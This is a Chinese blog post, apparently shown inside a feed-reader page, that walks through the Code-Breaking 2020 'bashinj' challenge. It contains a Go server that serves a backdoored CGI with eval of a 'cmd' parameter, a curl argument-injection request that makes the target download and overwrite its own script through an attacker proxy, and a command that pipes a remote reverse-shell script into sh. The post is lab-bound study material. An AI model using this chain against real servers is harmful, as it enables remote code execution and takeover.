惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

SecWiki News
SecWiki News
I
InfoQ
The Cloudflare Blog
人人都是产品经理
人人都是产品经理
博客园 - Franky
T
Tailwind CSS Blog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
量子位
博客园_首页
罗磊的独立博客
V
V2EX
李成银的技术随笔
大猫的无限游戏
大猫的无限游戏
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
T
True Tiger Recordings
Vercel News
Vercel News
Cyberwarzone
Cyberwarzone
Cisco Talos Blog
Cisco Talos Blog
F
Fox-IT International blog
D
Darknet – Hacking Tools, Hacker News & Cyber Security
M
Microsoft Research Blog - Microsoft Research
Know Your Adversary
Know Your Adversary
爱范儿
爱范儿
The Register - Security
The Register - Security
G
Google Developers Blog
The Hacker News
The Hacker News
Malwarebytes
Malwarebytes
S
Securelist
博客园 - 三生石上(FineUI控件)
Jina AI
Jina AI
T
Threat Research - Cisco Blogs
T
The Exploit Database - CXSecurity.com
S
SegmentFault 最新的问题
博客园 - 叶小钗
F
Fortinet All Blogs
Apple Machine Learning Research
Apple Machine Learning Research
宝玉的分享
宝玉的分享
博客园 - 聂微东
T
Threatpost
博客园 - 【当耐特】
D
Docker
P
Privacy & Cybersecurity Law Blog
www.infosecurity-magazine.com
www.infosecurity-magazine.com
G
GRAHAM CLULEY
V
Visual Studio Blog
C
Cisco Blogs
IT之家
IT之家
S
Security Archives - TechRepublic
Latest news
Latest news
阮一峰的网络日志
阮一峰的网络日志

/home/rook1e

AI 编码小记 1 被 CGO 交叉编译折磨的一个周末 独立开发备忘录 使用 Cline + Gemini 2.5 Pro 来做 Vibe coding RawWeb 更新:SimHash 和 Meilisearch Neovim、终端和生产力 RawWeb.org 的前三次技术栈迭代 配置轻量级 Linux 远程开发环境(Fedora 38) 我的透明代理方案 1.0 | /home/rook1e 深入理解 Linux TProxy 我的初代 NAS | /home/rook1e 劫持 Golang 编译 | /home/rook1e 初探 Golang 代码混淆 | /home/rook1e 「SF」子域名搜集工具开发小结 | /home/rook1e 浅谈 HTTP 请求走私 从 Material-T 到 Fluid | /home/rook1e
Code-Breaking 2020 Bashinj | /home/rook1e
2020-04-19 · via /home/rook1e
目录

前天 P 神更新了 Code-Breaking 2020 的第一道题 bashinj ,小密圈里也有师傅放出 wp 了,趁热学习一下。

前置知识

#!/bin/bash

source ./_dep/web.cgi
echo_headers

name=${_GET["name"]}

[[ $name == "" ]] && name='Bob'

curl -v http://httpbin.org/get?name=$name

题目起源于 4 月 16 日 P 神在小密圈分享的一篇帖子,主要内容是:

原文:https://t.zsxq.com/NfauNNv

Bash 语言本身就是执行命令的媒介,但代码注入漏洞的核心原理是相同的,需要一个执行“代码”或“命令”的方法可控,而不是控制一个静态的语法结构中的参数。 上述 example 代码中的 curl,你可以理解为一个“函数”,这里的场景仅仅是函数的参数部分可控,所以不存在代码注入漏洞。

文中提到了对代码注入的一个误区,比如本题中的 curl -v http://httpbin.org/get?name=$name ,第一反应是用 &&id 的方式拼接执行自己想要的命令,其实是错误的。看完帖子似懂非懂,下面做一个实验来更好的理解。

$ export aaa="&&id"

# 测试1
$ echo "test 1"$aaa

# 测试2
$ eval echo "test 2"$aaa

实验

结果如上图。在测试 1 中,$aaa 的值是作为 echo 函数的参数进行处理的,而不是与 echo 同等地位的 bash 命令。在测试 2 中,$aaa 的值与 echo "test 2" 拼接后作为 eval 的参数,也就是 eval "echo test 2 && id" ,这才是我们所设想的命令拼接的情况。

我们来捋一下 bash 的解析过程 (参考文末相关资料):

  1. 读取输入
  2. 处理引号''""
  3. 将输入拆分为命令列表,分隔符: ;&&&||
  4. 解析特殊运算符{..}<(..)< ...<<< .... | .. 并按一定的顺序处理
  5. 解析扩展,比如把变量替换为其值
  6. 将一条命令分割为命令名称(分割出的第一个单词)和参数,分隔符:没有转义的空格、制表符、换行符
  7. 执行命令

(大概是这样子的,各种资料对 2/3/4 步顺序的说法不尽相同。别问我为什么不看官方文档,本来英语就不行,啃完辣么长的文档我可能就瞎了)

这就解释了为什么测试 1 的 $aaa=&&id 没有将其分隔成两条命令,因为在解析 && 的时候 $aaa 还没被替换为 &&id

回到题目 curl -v http://httpbin.org/get?name=$name ,我们能控制的 $name 无论赋值成什么,都只是作为 curl 的参数,而不能成为新的 bash 命令。

那么就只能看看能利用 curl 干点什么。

题解

  • 靶机:192.168.221.128:8080
  • 攻击:192.168.221.1

整体思路:控制靶机的 curl 请求我们预设的代理服务器,在代理服务器处劫持请求直接返回包含恶意代码的响应,靶机收到响应后保存到本地,再通过执行恶意代码进一步反弹 shell。

-G 构造查询字符串
--data-urlencode 将参数编码
-o 将响应保存为文件
-x 指定 HTTP 代理

首先在攻击机上用 Go 起一个监听 8888 端口的 Web 服务:

package main

import (
    "io"
    "log"
    "net/http"
)

func main() {
    http.HandleFunc("/", func (w http.ResponseWriter, req *http.Request) {
        log.Print(req)

        // 在原 index.cgi 后追加小马
        io.WriteString(w, "#!/bin/bash\nsource ./_dep/web.cgi\necho_headers\nname=${_GET[\"name\"]}\n[[ $name == \"\" ]] && name='Bob'\ncurl -v http://httpbin.org/get?name=$name\neval ${_GET['cmd']}")
    })

    err := http.ListenAndServe(":8888", nil)

    if err != nil {
        log.Fatal("ListenAndServer: ", err.Error())
    }
}

然后让靶机获取代理服务器上的修改过的 index.cgi 并保存到本地:

# 攻击机
$ curl 192.168.221.128:8080/index.cgi -G --data-urlencode "name=hhh -x 192.168.221.1:8888 -o index.cgi"

这样靶机的 curl 拼接结果为 curl -v http://httpbin.org/get?name=hhh -x 192.168.221.1:8888 -o index.cgi ,虽然是请求 httpbin.org ,但通过设置 -x 让请求首先发往我们设置的代理服务器 192.168.221.1:8888 ,我们在代理服务器处劫持请求,直接返回响应,内容是修改过的 index.cgi ,靶机收到响应后覆盖保存到 Index.cgi (只有 index.cgi 有可执行权限)。

修改过的cgi

除了 -x 设置代理服务器的方式,还可以像小密圈里的 @呆头空师傅和 @Shix 师傅用 —resolve 强制将 curl 的所有请求解析到用于攻击的服务器。两种方式目的都是为了劫持靶机的请求。

修改了 index.cgi ,就可以通过 192.168.221.128:8080/index.cgi?cmd=id 来执行命令了。

# 攻击机
$ nc -lvp 9999
$ curl 192.168.221.128:8080/index.cgi -G --data-urlencode "cmd=curl https://shell.now.sh/192.168.221.1:9999 | sh"

getshell

相关资料

最后再推一波 P 神的小密圈,“里面个个都是人才,说话又好听,我超喜欢这里的”。

知识星球